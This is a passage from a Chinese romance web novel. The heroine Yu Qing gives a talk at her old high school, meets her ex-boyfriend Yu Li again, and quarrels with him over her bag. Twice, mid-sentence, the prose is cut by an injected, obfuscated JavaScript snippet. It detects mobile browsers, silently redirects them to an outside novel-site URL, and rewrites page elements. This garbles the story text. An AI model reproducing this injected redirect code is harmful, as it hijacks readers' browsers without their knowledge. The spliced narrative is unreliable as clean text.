余晴接起来开外放,拿着手机走到李落身边:“喂?” 盛蓓蓓劈头盖脸的数落掉下来:“李落!你怎么让坦坦给你做饭啊!不是说好不让她进厨房了吗!” 李落狂翻白眼:“大小姐你这就冤枉小落子了啊,你家坦坦自己给我做的。” “啊啊啊啊啊啊!”盛蓓蓓在办公室尖叫,“为什么!我也要吃!” 李落大笑起来:“你也不怕吃进医院啊。” 余晴拍了她一下,示意她见好就收,赶紧接话哄她:“蓓蓓,你不是说周末要来找我玩吗,到时候我做给你吃哦?” 盛蓓蓓难得地沉默了一会儿后才说:“呃,倒也不是很有这个必要。” 李落笑得站都站不稳:“其实你还是怕进医院的吧。” 余晴也笑,没有为自己作任何辩解。 门铃在这一刻突兀地响起,她和李落对视一眼,眼神又落到对方的洗碗手套上,把手机放下后就往外走。 “我去开门。” 家里只有她和李落两个女生住,所以开门前她先往猫眼外看了一眼,没看到人。 这就有点吓人了。 余晴犹豫了十几秒,还是慢慢推开了门,只不过没推多少门就被东西挡住了。她愣了一下后又用了点力,把门推开,听到东西在地板上摩擦的声音。 余晴探了半个身子出去,看到了挡住门的物品的真实面目。 两大箱蓝莓。附带一张便利贴。 ——邻居你好,以后请多多指教。 余晴对着这张便利贴久久地出神,总觉得有一些不对劲。 洗好碗的李落甩着手上的水走出来,也跟着探出头:“怎么啦?” 余晴把手上的便利贴递给她:“新搬来的邻居给的礼物。” “蓝莓啊?”李落挑了下眉毛,“居然这么巧。” 蓝莓是她们家里必不可少的食物,吃起来方便,对余晴的夜盲症也有点用。 李落把东西给搬了进来,顺嘴提了一句:“今天早上出门的时候好像的确看到隔壁门开着在搬东西。” 她把蓝莓给拿出来放冰箱保鲜层,忙完之后却发现余晴还捏着那张便利贴在看。 李落又凑过来看了一眼:“字写得倒是挺好的。” 很漂亮的字。但莫名让余晴想到一个人。 一个把她生活又搅得天翻地覆的人。 14. 回校 星期五是个大晴天。 李落躺在余晴房间里,看着她面对着窗户那边的太阳光化妆,忽然笑起来:“你记不记得当初老段他们说要拍大榜照片,你那天黑眼圈都掉地上了。” 余晴白天在学校认真听讲,晚上回家看小说写小说,熬出大黑眼圈还被误以为是在家也刻苦读书。 她一边上腮红一边笑:“记得啊,还好蓓蓓在学校里放了化妆品,不然大家看到那个照片都会以为我是鬼。” 李落下午有事不能陪她一起回校,她对一中也没什么特殊感情,不是非回去不可。 “我走咯。”余晴在玄关处一边换鞋一边说,“有想吃的和我说,我回来给你带。” “好哦。”李落躺在沙发上和她挥手,“开车小心,拜拜。” 余晴背着包关上门,下意识地往隔壁看了一眼。 门口连地毯都没有,好像从来没有人住过的样子。 她收回目光,低头看了眼手表后去按了电梯。 这场讲座定在下午三点,余晴从家开过去只需要十几分钟,周五的下午,沥州市区也并不拥堵。 在门卫处,她的车如她所预料地被拦了下来,余晴不紧不慢地给保安听了老段提前发来的语音后才顺利地把车给开了进去。 八年没来,一中变化很大,但余晴却仍然能在不同的角落想起不同的回忆。 学校礼堂却始终没变。这是单独的一个环形建筑,占地面积十分大,可以容纳全校所有师生。 余晴在这里参与过入学仪式、每年的元旦晚会、大型的讲座及赛事活动以及她的毕业典礼。 她在操场进行过国旗下讲话,但还没有来礼堂的讲台上发言过。 推开门,余晴站在观众席的最后一排,一眼就能看到全场最亮的台上。 老段正戴着眼镜在电脑上操作着大屏的背景,有个人站在台下帮他看排版有没有对齐。 听到门打开的声音,那个人很快回过头,望向站在门口的余晴。 果然是庾礼。 她们中间隔着很长的距离,很多级台阶。 余晴先低下头,看着脚下的台阶,一层一层地慢慢往下走。走到一半,老段终于注意到她的动静,拿着手边的麦克风喊她的名字:“余晴!” 麦克风声音还没调试好,余晴猛地被吓得一个激灵,多踩了一层台阶,一个踉跄后连忙伸手扶住左手边的椅背。 庾礼很快来到她身边,低头看她:“没事吧?” 余晴站直身子,眼神还落在地面上。 她看到庾礼今天穿的是帆布鞋。 她今天穿的也是帆布鞋。同一个牌子,同一个款式,同一个颜色。 “没事。” 余晴说完就往下走,没有理会庾礼刚刚伸出来要扶她的手臂。 “哎哟,好久没见你了。”老段看到她就笑眯眯的,一如八年前,“怎么和读高中的时候比没什么变化呢?” 余晴脸上挂上淡笑:“没有啦。” 她在最紧张的高三时期都不会这样敷衍地笑,老段看了一眼还在台下的庾礼,把话筒挪开,小声开口:“不是老师要他来的,他自己说来帮帮忙,说他也好久没回一中了。一中好歹也是他母校,老师总不能真不让他进来吧?” 余晴垂眸看着电脑上的背景图,漫不经心地点头:“没什么的老师,一中是大家的一中。” 距离三点还有十分钟,余晴调了一下麦克风的音量后就在底下随便翻了个椅子下来坐。 庾礼毫不避讳地坐到她身边,开口搭话:“今天你打算说什么?” 余晴在逛购物软件,给狗狗选猫粮,看都没看他一眼:“等会你就知道了。” 庾礼瞥了一眼她的手机,手指在两人中间的扶手上敲了两下,提醒她:“你看的这款暴雷过。” 认真看着详情页的余晴眨了两下眼睛,终于愿意施舍给他一个眼神:“真的假的?” 这可是余晴千挑万选出来的。 “真的。维权的视频都被品牌方举报下架了,所以没什么消息。”庾礼看着她的眼睛,她素颜时长翘的睫毛在化妆品的点缀下更加漂亮。 按照余晴的交际经验,她接下来应该要问他“你怎么知道的?你也养猫吗?”然后就能引出更多的话题。 但余晴只“哦”了一声,就干脆利落地把这款猫粮从购物车里删掉,切去另一个软件继续做猫粮功课。 她的动作没有一点拖沓,脸色也没有丝毫改变,一切都不是硬撑出来的伪装。自然得让庾礼的表情都不再自然。 为什么不问了呢?你真的一点都不好奇了吗? 庾礼感到心口处泛着并不陌生的酸涩情绪,却又想因为她对他独一份的疏远态度而牵起唇角。 他感觉他离神经病的确不远了。 庾礼收拾好心情,低头看了眼手表,想赶在高三的疯子小孩们冲进礼堂前再和她多待一会儿。 他也不管她到底好不好奇,兀自开口讲述:“住公寓的时候,几乎一整层楼都是中国人。对面住的也是中国人,是一对情侣,她们在一起没多久就分开了。那个女生是半夜离开的公寓,她走后不久,我听到门口有猫叫声。” 话讲到这里他就停了下来,惹得余晴下意识地看了他一眼。 她们在一起的时间不短但也不算长,却足够让庾礼了解她。 课间女生们在走廊晒太阳也聊八卦,庾礼常常路过,观察出她们三个人的不同反应。 很多八卦有头没尾,李落通常不太在意故事就这样断开,而盛蓓蓓会紧紧抓着对方的手问“然后呢然后呢?”,只有余晴始终默不吭声地在听,听到最后只看着讲八卦的人,想看出对方是真的不知道还是故意卖关子。 但他不知道余晴刚刚朝他看来的那一眼其实是怀疑。 庾礼在英国读书的时候住公寓?住公寓?怎么可能? “宠物是她们热恋的证明,分手之后却没有任何一方愿意养它。后来我去问了对门的男生能不能带走,他很无所谓地说可以,于是我就把它带进我的房间了。”庾礼把故事简短说完,“你刚刚看的那个牌子虽然是国产的本土牌子,但是前两年它们有出口海外的计划。国内的遇害消费者就在外网也发了一些证据视频。” 他对捡来的猫悉心呵护,连什么牌子的猫粮能不能放心食用都知道。 余晴知道他做事严谨,为人善良,如果养宠物的话一定也是很妥帖。毕竟当初一中食堂附近的流浪猫他也时常有在照顾,不只是单纯地喂养,还抓过几只好抓的去做过绝育。 她的睫毛在此刻再次颤动,在开口之前,余晴先听见礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15676102|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂两侧门被推开的声音。 她们同时转头,看到不少穿着校服的女生男生往下走。 余晴坐在原地没有动,看着她们三三两两地结伴坐下,有一些人朝着她和庾礼的方向投来好奇的目光。 庾礼没再继续讲述猫的话题,目光放在她戴着耳钉的耳朵上,再次问了一遍:“你今天要和她们说什么呢?” 余晴扭过头看他,终于回答了这个问题。 “说点废话。” 她看向台上,老段朝她招手,她把包放在椅子上,自己从侧边的台阶走了上去。 礼堂的椅子失去重量就会自动往下翻转,余晴的包在她站起身后不久就被卡在椅子和椅背中间。 庾礼转头,伸手把她的包给拎了出来,放到自己的腿上。 她的22岁生日,在大学毕业的那一个夏季。 毕业典礼庾礼没赶上,她的生日庾礼也在忙,只能给她送去一个包作为生日礼物。经典款的链条挎包,国内专柜都缺货,盛蓓蓓都订不到,但庾礼买到了。 怕礼物被拒收,他借由盛蓓蓓的名义又通过盛蓓蓓的手送到她手上,她收下了,但盛蓓蓓已经提前和他打过预防针,她觉得余晴根本不会背那个包。 庾礼看了眼腿上的包,也是链条款式,甚至五金都有些褪色。看得出来它的廉价,也感受得出主人对它的偏爱。 他看向包包的主人,对方正站在台上,面带微笑地看着底下坐满越来越多的人。 庾礼注视着她,直到身后传来陌生女孩的声音。 “学长。” 他转过头,看到几个女生坐在他的右后方,笑意盈盈地和他打招呼:“是庾礼学长吗?” 庾礼有些意外地挑眉:“你们认识我?” “老段说今天来的是余晴学姐。”扎丸子头的女生和他解释,“所以我们猜你就是庾礼学长。” 余晴庾礼,于情于理。 她们已经分开八年,这两个名字却还在很多不认识她们的人的记忆里,依旧如影随形。 庾礼笑起来:“是,你们好。” 丸子头女生和旁边的两个女孩们对视一眼,扒着前排椅背凑近了点,带着一点八卦心理开口:“我们听说,学长当年出国了,和学姐也分手了。现在是又在一起了吗?” 似乎是因为打探八卦太心虚,丸子头女生问完眼神就四处乱瞟,瞟着瞟着就和台上的余晴对上。她不知道小女孩们在和庾礼说什么,但下意识地露出了一个笑容,于是庾礼看到丸子头女生也笑起来,自来熟地伸长手臂和她挥了挥。 余晴就是能这样轻而易举地收获她人的好感。 “余晴学姐本人比我们看过的照片还要漂亮好多哦。”她嘟囔着。 庾礼赞同地点头:“她读高中的时候就很漂亮。” 丸子头女孩认真地点头:“我想也是。” 说完她又挠了挠脸,露出符合这个年纪的好奇和憧憬,看向庾礼:“学长,大学生活是什么样的?” 学妹是很认真地在问,庾礼也不想敷衍作答,但他又不想说什么扫兴的话。 在苦恼的这一刻,他忽然好奇,如果是余晴被问到这个问题,她会怎么回答呢? “一会你可以问问你的学姐。”他诚挚地建议,“因为我也很好奇这个问题。” 15. 断裂 这场不算郑重的讲座在老段对余晴的介绍之下拉开帷幕。 他只知道余晴从京州回了家,但不知道她现在的工作,因此在工作经历上也只介绍到她在京州的最后一份工作。 庾礼听到后面的小女孩发出下意识的感叹。 话筒被老段交给余晴,她接过后先打了个招呼:“学妹学弟们好,我是余晴。” 大家很给面地鼓起了掌,包括庾礼。 来之前,余晴已经在家里打过腹稿,关于今天要说什么。 她想起当年她们高考前,学校也在她们放假回家之前办了一场类似的讲座,但具体谁发言了,讲了什么,余晴一点印象都没有,她只记得自己坐在庾礼旁边,又在写小说。 于是她打算从写小说这件事讲起。 她坦诚地告诉底下坐着的少女少男们自己现在是一名全职作家,在家里写一些没有人看的小说。在这之前她在京州的知名央企总部做涉外工作,这份工作听起来很厉害,干起来也实在很累。时间再往前倒推,她在毕业前参与了国家公务员考试,以笔试第一的成绩进入面试,后来她放弃了面试考试。再往前,她在京州大学就读国际政治专业。 再往前,是她的十八岁,高考前。一如现在。 “高考前的叮嘱你们应该听得耳朵都起茧子了。考试是这么多年来大家一直在重复做的事,紧张是正常的,这份紧张不会因为任何人说任何话而轻易消散,等到考试结束,这份紧张就不会存在了。”她从容地笑着,“刚刚和大家说个人经历也只是想满足大家可能会有的八卦心理。高考考得还可以的学姐有什么了不起的啦,现在不还是在家里写没人看的小说?” 她扭头看了一眼还在消化她刚刚发言的老段,对自己毫不留情:“我在学校的时候就老是开小差写小说,晚上回家也写。大家还以为我回家在挑灯夜读,其实就算是在读书,也是看的言情小说。” 台下的小女孩们笑起来,对她的发言保有感同身受的赞同。 她最后说:“好好休息,好好考试,好好生活。祝大家得到自己想要的,祝大家在以后回忆起自己的十八岁时,能够觉得一切都是值得的。” 鸡汤没人爱喝,但沥州一中的传奇本人的亲身经历显然很能让人感到好奇。她打破了大家一贯的认知,好学生上了好学校毕业后找一份好工作的传统并没有在余晴身上完全贯彻下来。她有着从头来过的勇气,而这份勇气与任何一场考试都无关。 余晴的发言时间只有十多分钟,老段看了眼底下躁动的小孩们,接过话筒问了一句:“有没有想要对你们学姐提问的呀?” 底下唰唰唰举起了好多只手,让余晴有些意外。 她和老段对视一眼,点了点头,看到老段把话筒递给了庾礼,庾礼再把话筒拿给要提问的人。 第一个提问的人就是坐在庾礼身后的丸子头女孩。 余晴记得自己刚刚和她对视,对方自来熟地和她挥手,于是又露出一个笑容。 丸子头女孩拿过话筒,对着她打招呼:“学姐,谢谢你今天来。我是想知道,你的大学生活是什么样的呢?” 余晴手里拿着老段刚刚又拿出来的一个话筒,琢磨着她的话:“我的大学生活吗?” 女孩笃定地点头。 “我的大学生活,也很普通啊。”余晴回忆着大学期间的事,“上课,考试,等寒暑假。没有什么很特别的事情,不过的确比高中时期自由多了,可以在上课的时候光明正大看小说了。” 丸子头女孩下意识地瞥了一眼前面坐着的庾礼,又补充了一句:“那学姐你谈恋爱吗?” 余晴嘴角的笑容没有因为这句话有丝毫僵硬,她点头:“谈啊。大学谈恋爱很正常嘛,你们以后在学校里估计走哪都能看到情侣。就是注意别在宿舍楼门口接吻,别挡着人家回宿舍的路。” 小孩们又因为她的话笑起来,丸子头女孩最后说了一句:“谢谢学姐。” 余晴对着她弯了弯眼睛。 话筒被丸子头女孩传给其他要提问的人,她坐下来,又悄悄地和庾礼说话:“学长,你听到你想要知道的事了吗?” 庾礼有些意外她会这么问,反问她:“你呢?” 丸子头女孩点头:“学长,学姐刚刚说她在学校期间有恋爱。那个人是你吗?” 青春期小孩的问题可真是多啊。庾礼为她的八卦心理感到无奈,但仍有耐心地回答:“不是我。” 她终于不再问,扭头去看提问的其他同学。 后来提问的问什么的都有,问京州大学环境怎么样,问她在报考学校时应该要怎么选择专业,问她为什么本科毕业后没有继续深造,问她高考结束后都干了什么。 所有问题余晴都认真并诚实地回答,这场她计划里只有十多分钟就应该结束的讲座居然持续了一个多小时。 在老段说散会之后,还有很多人坐着没打算走,余晴有些疑惑,又把话筒拿了起来,问:“怎么了吗?” “学姐。”丸子头女孩举起手机,“可不可以和你合照呢?” 啊?余晴这下是真的有些意外了,但看小女孩们期盼的眼神,她还是点头:“好啊。” 她放下话筒后就往下走,女孩们也拿着手机站到她身边。 丸子头女孩朝她伸手:“学姐,我名字里也有晴字哦。我叫杨初晴,和你是一个晴字。” “很好听的名字。”余晴笑着说,“要拍照?自拍吗?” 杨初晴点头,打开手机里的相机,和余晴合照了一张后就站到一旁让给其他人。 来合照的小女孩们嘴巴一个比一个甜,拍完照片基本都要说一句:“学姐你好漂亮哦,比大榜照片上看到的还要漂亮。” 她有些受宠若惊:“谢谢。” 拍完照后大家围着她,问能不能加联系方式,能不能知道她在哪个平台写小说。 余晴对这两个问题都给予了否定的回答,她没有多解释为什么,大家也很快速地接受了,三三两两地离开了礼堂,最后只剩下她、庾礼和老段三个人在这里。 “今天辛苦你了。”老段笑呵呵地对她说,“晚上老师请你吃饭怎么样?” 余晴笑着拒绝:“谢谢老师,不过我有约啦。” 老段下意识地转头去看庾礼,发现他正好站了起来,手上还拎着余晴的包。 他成功地被庾礼的动作误导,又看向余晴:“好好好,那你们先走吧,我再在这里收拾一下。” 他说完又回了台上操作着电脑,留下底下的余晴和庾礼大眼瞪小眼。 余晴沉默着向他伸手要包,庾礼没递给她,拎着包就往上走。 她有些错愕他现在居然能无赖成这样,但车钥匙还在包里,她不得不追上去,跟着他出了礼堂。 “庾礼,包还我。”她跟在他身边。 庾礼手紧紧抓着链条没有放,转头看她,低声问:“刚刚有人问你为什么高中学理,大学却选国际政治专业。你说的是实话吗?” 余晴没想到他问的是这个,她手还伸着:“包先还我。” “你先回答我的问题。”他执着于她的回答。 “当然是实话。”余晴突然笑起来,“不然你以为真正的原因是什么?” 在礼堂里,有个女生说听说余晴的高考成绩很好,京州大学的王牌专业随便她挑,那她高中学理,为什么大学选了国际政治专业呢?这个专业的就业前景很好吗? 这个问题余晴并不是第一次听到了,她自有一套回答。 “说实话,国政的就业前景并不怎么样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687734|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她毫不留情地扯开专业遮羞布,“选的时候并不了解这些,但是高中分科前我蛮喜欢政治的,所以就选了。” 最后她还是给了学妹学弟们一个友情提醒,国关国政最好别碰。 这不是余晴第一次回答这种问题,但却是庾礼第一次听到她的回答。 “分科前蛮喜欢政治的?”庾礼复述着她的回答,像听到天大的笑话一样也露出一个和她相似的笑容,“骗小孩还挺行。” 当年高考报名时,余晴和庾礼还没有分手,她们谁都不知道会在这个夏天分开。那个时候余晴报完京州大学,但没有告诉他选择的专业,想要在录取通知下来后吓他一跳。 没想到是她被吓了一跳。 她慢慢收起笑容,看向对面抓着自己的包像抓着命根子一样不放的人,平静地开口:“如果你想听到我说,我选择就读国际政治是因为你,那我可以承认。” 庾礼没有丝毫意外,因为这就是真正的理由,而余晴几乎从来不会撒谎。 余晴和他对视着,继续说:“可是那又怎样?因为你报考了这个专业,那又怎样?我还是读完了这四年的书,拿到了我的学位证和毕业证,也从事了三年的相关工作。所以那又怎样?” 庾礼的笑容停滞在脸上。 她往前迈了一步,强硬地从他手里扯过自己的包。 没扯动。 庾礼实在抓得太紧了。 这个包是余晴读大学期间买的,购物节打完折还不到80块钱,十分物美价廉。她穿什么衣服这个包几乎都能搭,而且容量也不小,装她的出门必需品足够了。如果给她的包包们排序,这个包就是余晴的头牌。 她不想自己的头牌就这样折在前男友手里,于是又用力拽了一下,给拽下来了。 被拽下来的不止有包,还有破碎的五金链条。 她的头牌最终还是折了。 五金链条有一部分还在庾礼手里,因为她拽得太用力,他又抓得太紧,这个廉价却又高频繁使用的链条最终还是断裂了。 余晴抿了抿唇,最终还是什么都没说,自顾自地从包里掏车钥匙,转身往校内停车场走。 庾礼的手掌心被链条磨出痕迹,他终于松手,看了手里的红痕几秒钟后追上了余晴,伸手拉住了她的胳膊。 “对不起。”他道歉。 他的手心因为链条的摩擦还有灼烧感,余晴的胳膊在今天的高温下也微微发热。 这样的接触并不让人感到痛快。 余晴停下脚步,回头看他:“对不起什么?” 对不起很多、很多。 从她们在一起开始,庾礼就爱和她说对不起。 他坐在她后座玩她的马尾辫,不小心扯到了她喊痛,他说对不起;他借她的教辅,看到她夹在里面的短篇小故事,看着看着笑出声后被她瞪,在草稿纸被收走的那刻,他说对不起;海边的夜晚,他把人骗到自己的房间,亲得余晴嘴唇都痛,他说对不起;八年前的夏天她们最后一次见面,余晴坐在他对面落泪,他依然在说对不起。 曾经所有对得起的一切都在最后一次对不起之中消散殆尽。 庾礼看着她,说不出话,但也放不开手。 余晴没有像刚刚要拿回自己的包一样强硬地挣脱他。 她的视线落在他扣着自己手腕的手掌上,轻声道:“庾礼,你要是真觉得对不起我,就放过我,好吗?” “对不起。”他再次道歉,不知道是不是余晴的错觉,他的眼底红得有些不自然。 余晴听到他的呢喃,声音小得近乎消散:“我做不到。” 她的手腕还被他握着。 干燥的晴天,升温的掌心,但泥泞的心情。 “庾礼。”她开口,“你该放手了。”